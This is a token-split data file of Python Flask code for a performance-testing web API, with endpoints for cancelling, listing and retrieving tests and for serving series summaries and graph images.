"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "user", "\\u", "in", "\\u", "role_", "(_", "'", "admin", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "update", "\\u", "test\\u", "status_", "(_", "test\\u", "id_", ",_", "new", "\\u", "status_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "the", " ", "test", " ", "is", " ", "owned", " ", "by", " ", "the", " ", "user", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "test_", "[_", "'", "user", "'_", "]_", "==_", "get", "\\u", "user", "\\u", "id_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "db_", "._", "update", "\\u", "test\\u", "status_", "(_", "test\\u", "id_", ",_", "new", "\\u", "status_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Access", " ", "Den", "ied", " ", "to", " ", "modif", "y", " ", "test", " ", "{", "test\\u", "id", "}'_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "test\\u", "id_", "=_", "test\\u", "id_", ")_", "}_", ")_", ",_", "401_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "jsonify_", "(_", "{_", "'", "success", "'_", ":_", "'", "Test", " ", "cancel", "led", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "tests", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "tests_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Retr", "eive", " ", "all", " ", "complete", "d", " ", "tests", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "complete", "d\\u", "tests_", "=_", "db_", "._", "get", "\\u", "complete", "d\\u", "tests_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Apply", " ", "filters_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "param", "\\u", "from_", "=_", "request_", "._", "args_", "._", "get_", "(_", "'", "date", "\\u", "from", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "param", "\\u", "to_", "=_", "request_", "._", "args_", "._", "get_", "(_", "'", "date", "\\u", "to", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "date", "\\u", "from_", "=_", "datetime_", "._", "fromtimestamp_", "(_", "float_", "(_", "param", "\\u", "from_", ")_", ")_", "if_", "param", "\\u", "from_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "date", "\\u", "to_", "=_", "datetime_", "._", "fromtimestamp_", "(_", "float_", "(_", "param", "\\u", "to_", ")_", ")_", "if_", "param", "\\u", "to_", "else_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Inva", "lid", " ", "date", " ", "parameter", "s", ".'_", "}_", ")_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "date", "\\u", "from_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "complete", "d\\u", "tests_", "=_", "[_", "t_", "for_", "t_", "in_", "complete", "d\\u", "tests_", "if_", "t_", "[_", "'", "schedule", "d\\u", "date", "'_", "]_", ">=_", "date", "\\u", "from_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "date", "\\u", "to_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "complete", "d\\u", "tests_", "=_", "[_", "t_", "for_", "t_", "in_", "complete", "d\\u", "tests_", "if_", "t_", "[_", "'", "schedule", "d\\u", "date", "'_", "]_", "<=_", "date", "\\u", "to_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tests_", "=_", "map_", "(_", "lambda_", "t_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "test\\u", "id", "'_", ":_", "t_", "[_", "'", "test\\u", "id", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "href", "'_", ":_", "url", "\\u", "for_", "(_", "'", "get", "\\u", "test", "'_", ",_", "test\\u", "id_", "=_", "t_", "[_", "'", "test\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "complete", "d\\u", "tests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "tests_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "response_", "=_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "tests", "/", "id", "/", "<", "test\\u", "id", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "require", "s", "\\u", "auth_", "(_", "'", "user", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "test_", "(_", "test\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Retrieve", " ", "the", " ", "definit", "ion", " ", "for", " ", "a", " ", "schedule", "d", " ", "test", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "test_", "=_", "db_", "._", "get", "\\u", "test_", "(_", "test\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "jsonify_", "(_", "test_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Un", "know", "n", "Test", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "make", "\\u", "response_", "(_", "jsonify_", "(_", "{_", "'", "error", "'_", ":_", "'", "Un", "know", "n", " ", "Test", " ", "{", "test\\u", "id", "}.'_", "._", "format_", "(_", "test\\u", "id_", "=_", "test\\u", "id_", ")_", "}_", ")_", ",_", "404_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "list_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "series_", "=_", "db_", "._", "get", "\\u", "series", "\\u", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "true", "'_", "==_", "request_", "._", "args_", "._", "get_", "(_", "'", "pretty", "'_", ",_", "'", "Tru", "e", "'_", ")_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "series_", ",_", "sort", "\\u", "keys_", "=_", "True_", ",_", "indent_", "=_", "4_", ",_", "separators_", "=_", "(_", "','_", ",_", "':", " ", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "series_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Response_", "(_", "response_", "=_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "/", "<", "series", ">/", "<", "start", "\\u", "timestamp", ">/", "<", "end", "\\u", "timestamp", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "series_", "=_", "db_", "._", "get", "\\u", "series_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "bar", "f", " ", "--", " ", "like", " ", "belo", "w", " ", "this", " ", "suc", "ks", " ", "--", " ", "chang", "ing", " ", "the", " ", "series", " ", "table", " ", "to", " ", "include", " ", "status", " ", "need", "s", " ", "to", " ", "be", " ", "done_", "\\u\\u\\uNL\\u\\u\\u_", "valid", "\\u", "jobs_", "=_", "[_", "job", "\\u", "id_", "for_", "job", "\\u", "id_", "in_", "series_", "if_", "db_", "._", "get", "\\u", "test\\u", "status_", "(_", "job", "\\u", "id_", ")_", "==_", "'", "complete", "d", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "js", "obj_", "=_", "{_", "'", "series", "'_", ":_", "valid", "\\u", "jobs_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "true", "'_", "==_", "request_", "._", "args_", "._", "get_", "(_", "'", "pretty", "'_", ",_", "'", "Tru", "e", "'_", ")_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "js", "obj_", ",_", "sort", "\\u", "keys_", "=_", "True_", ",_", "indent_", "=_", "4_", ",_", "separators_", "=_", "(_", "','_", ",_", "':", " ", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "js", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Response_", "(_", "response_", "=_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "summar", "ies", "\\u", "impl_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "series_", "=_", "db_", "._", "get", "\\u", "series_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "summaries_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "test\\u", "id_", "in_", "series_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "status_", "=_", "db_", "._", "get", "\\u", "test\\u", "status_", "(_", "test\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "status_", "==_", "'", "complete", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "artifact_", "=_", "db_", "._", "get", "\\u", "test\\u", "artifact", "\\u", "data_", "(_", "test\\u", "id_", ",_", "'", "stats", "\\u", "summar", "y", "'_", ",_", "'", "stats", "\\u", "summar", "y", ".{}", ".", "json", "'_", "._", "format_", "(_", "test\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "artifact_", "and_", "artifact_", "[_", "0_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summaries_", "._", "append_", "(_", "json_", "._", "loads_", "(_", "artifact_", "[_", "0_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "summaries_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "/", "<", "series", ">/", "<", "start", "\\u", "timestamp", ">/", "<", "end", "\\u", "timestamp", ">/", "summar", "ies", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "summaries_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summaries_", "=_", "get", "\\u", "series", "\\u", "summar", "ies", "\\u", "impl_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Construct", " ", "the", " ", "response", " ", "in", " ", "two", " ", "pass", "es", ",", " ", "first", " ", "sort", " ", "the", " ", "data", " ", "points", " ", "on", " ", "the", " ", "UUID_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "n", " ", "deno", "rmal", "ize", " ", "to", " ", "arrays", " ", "for", " ", "each", " ", "metric_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Opera", "tion", " ", "->", " ", "revis", "ion", " ", "label", " ", "->", " ", "uuid", " ", "(", "for", " ", "orderi", "ng", ")", " ", "->", " ", "metric", "s", " ", "as", " ", "a", " ", "bloc", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "n", " ", "do", " ", "Opera", "tion", " ", "->", " ", "revis", "ion", " ", "label", " ", "->", " ", "metric", "s", " ", "as", " ", "arrays", " ", "(", "alr", "ead", "y", " ", "sorte", "d", ")_", "\\u\\u\\uNL\\u\\u\\u_", "by", "Operation_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "summary_", "in_", "summaries_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Fi", "rst", " ", "get", " ", "every", "thing", " ", "sorte", "d", " ", "by", " ", "operati", "on", ",", " ", "revis", "ion", " ", "label", " ", "(", "not", " ", "actual", " ", "revis", "ion", " ", "branch", "/", "tag", ",", "sha", "),", " ", "test", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "stat_", "in_", "summary_", "[_", "'", "stats", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "test", "'_", "not_", "in_", "stat_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "error_", "(_", "\"", "stat", " ", "summar", "y", " ", "with", "out", " ", "test", " ", "key", ":", " ", "{}\"_", "._", "format_", "(_", "stat_", "[_", "'", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "operati", "on", "Stats_", "=_", "by", "Operation_", "._", "setdefault_", "(_", "stat_", "[_", "'", "test", "'_", "]_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "revis", "ion", "Stats_", "=_", "operati", "on", "Stats_", "._", "setdefault_", "(_", "stat_", "[_", "'", "label", "'_", "]_", ",_", "Order", "ed", "Dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "revis", "ion", "Stats_", "[_", "uuid_", "._", "UUID_", "(_", "stat_", "[_", "'", "id", "'_", "]_", ")_", "]_", "=_", "stat_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "stat_", "[_", "'", "test", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "stat_", "[_", "'", "label", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "flat", "ten", " ", "the", " ", "entire", " ", "thing", " ", "to", " ", "arrays", " ", "for", " ", "each", " ", "operati", "on", " ", "->", " ", "revision_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "summaries_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "operation_", "in_", "by", "Operation_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "Operation_", "=_", "summaries_", "._", "setdefault_", "(_", "operation_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "revision_", "in_", "by", "Operation_", "[_", "operation_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "Revision_", "=_", "new", "Operation_", "._", "setdefault_", "(_", "revision_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "stats_", "in_", "by", "Operation_", "[_", "operation_", "]_", "[_", "revision_", "]_", "._", "itervalues_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "stats_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "stats", "Array_", "=_", "new", "Revision_", "._", "setdefault_", "(_", "key_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "value_", ",_", "basestring_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stats", "Array_", "._", "append_", "(_", "value_", "._", "split_", "(_", ")_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "stats", "Array_", "._", "append_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Wrapper", " ", "object", " ", "of", " ", "facilit", "ate", " ", "addin", "g", " ", "fields", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "js", "obj_", "=_", "{_", "'", "summar", "ies", "'_", ":_", "summaries_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "'", "true", "'_", "==_", "request_", "._", "args_", "._", "get_", "(_", "'", "pretty", "'_", ",_", "'", "Tru", "e", "'_", ")_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "js", "obj_", ",_", "sort", "\\u", "keys_", "=_", "True_", ",_", "indent_", "=_", "4_", ",_", "separators_", "=_", "(_", "','_", ",_", "':", " ", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "json_", "._", "dumps_", "(_", "obj_", "=_", "js", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "Response_", "(_", "response_", "=_", "response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "json", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "construct", "\\u", "series", "\\u", "graph", "\\u", "url_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ",_", "operation_", ",_", "metric_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "redirec", "t", "URL_", "=_", "\"/", "graph", "?\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"", "command", "=", "series", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"&", "series", "={", "series", "}\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"&", "start", "\\u", "timestamp", "={", "start", "\\u", "timestamp", "}\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"&", "end", "\\u", "timestamp", "={", "end", "\\u", "timestamp", "}\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"&", "metric", "={", "metric", "}\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"&", "show", "\\u", "aggregates", "=", "fal", "se", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "redirec", "t", "URL_", "+=_", "\"&", "operati", "on", "={", "operati", "on", "}\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "redirec", "t", "URL_", "._", "format_", "(_", "series_", "=_", "series_", ",_", "start", "\\u", "timestamp_", "=_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", "=_", "end", "\\u", "timestamp_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "operation_", "=_", "operation_", ",_", "metric_", "=_", "metric_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "/", "<", "series", ">/", "<", "start", "\\u", "timestamp", ">/", "<", "end", "\\u", "timestamp", ">/", "graph", "/", "<", "operati", "on", ">/", "<", "metric", ">'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "graph_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ",_", "operation_", ",_", "metric_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "redirec", "t", "URL_", "=_", "construct", "\\u", "series", "\\u", "graph", "\\u", "url_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ",_", "operation_", ",_", "metric_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "redirect_", "(_", "redirec", "t", "URL_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "app_", "._", "route_", "(_", "'/", "api", "/", "series", "/", "<", "series", ">/", "<", "start", "\\u", "timestamp", ">/", "<", "end", "\\u", "timestamp", ">/", "graph", "/", "<", "operati", "on", ">/", "<", "metric", ">.", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "graph", "\\u", "png_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ",_", "operation_", ",_", "metric_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "=_", "socket_", "._", "gethostname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "graph", "URL_", "=_", "\"", "http", "://\"_", "+_", "host_", "+_", "construct", "\\u", "series", "\\u", "graph", "\\u", "url_", "(_", "series_", ",_", "start", "\\u", "timestamp_", ",_", "end", "\\u", "timestamp_", ",_", "operation_", ",_", "metric_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "Response_", "(_", "response_", "=_", "screenshot_", "._", "get", "\\u", "graph", "\\u", "png_", "(_", "graph", "URL_", ",_", "x", "\\u", "crop_", "=_", "900_", ",_", "y", "\\u", "crop_", "=_", "750_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "mimetype_", "=_", "'", "applica", "tion", "/", "png", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "series", "\\u", "graph", "\\u", "png", "\\u", "cached_", "(_", "series_", ",_", "age_", ",_", "operation_", ",_", "metric_", ",_", "expires_", ",_", "invalidate", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "=_", "socket_", "._", "gethostname_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "\\u", "timestamp_", "=_", "int_", 